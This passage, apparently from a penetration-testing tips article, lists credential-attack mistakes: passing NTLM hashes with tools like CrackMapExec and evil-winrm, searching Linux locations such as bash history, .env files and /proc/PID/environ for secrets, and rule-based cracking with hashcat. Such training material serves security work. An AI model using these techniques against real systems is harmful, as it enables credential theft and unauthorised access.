If you have an NTLM hash and can't crack it, you can often still use it directly with tools like CrackMapExec, evil-winrm, psexec.py, and wmiexec.py. You don't always need the plaintext password.
❌ Mistake #6: Ignoring Linux credential locations.
Credentials aren't just in /etc/shadow. Check bash history, web app configs, database connection strings, SSH keys, environment variables, .env files, and memory (process environment: /proc/PID/environ).
❌ Mistake #7: Not using mutation rules with hashcat/john.
A base wordlist of 10,000 words with the best64 rule set becomes 640,000 realistic variations. Rules like OneRuleToRuleThemAll.rule can turn a small wordlist into a thorough attack without brute forcing.

📚 Further Reading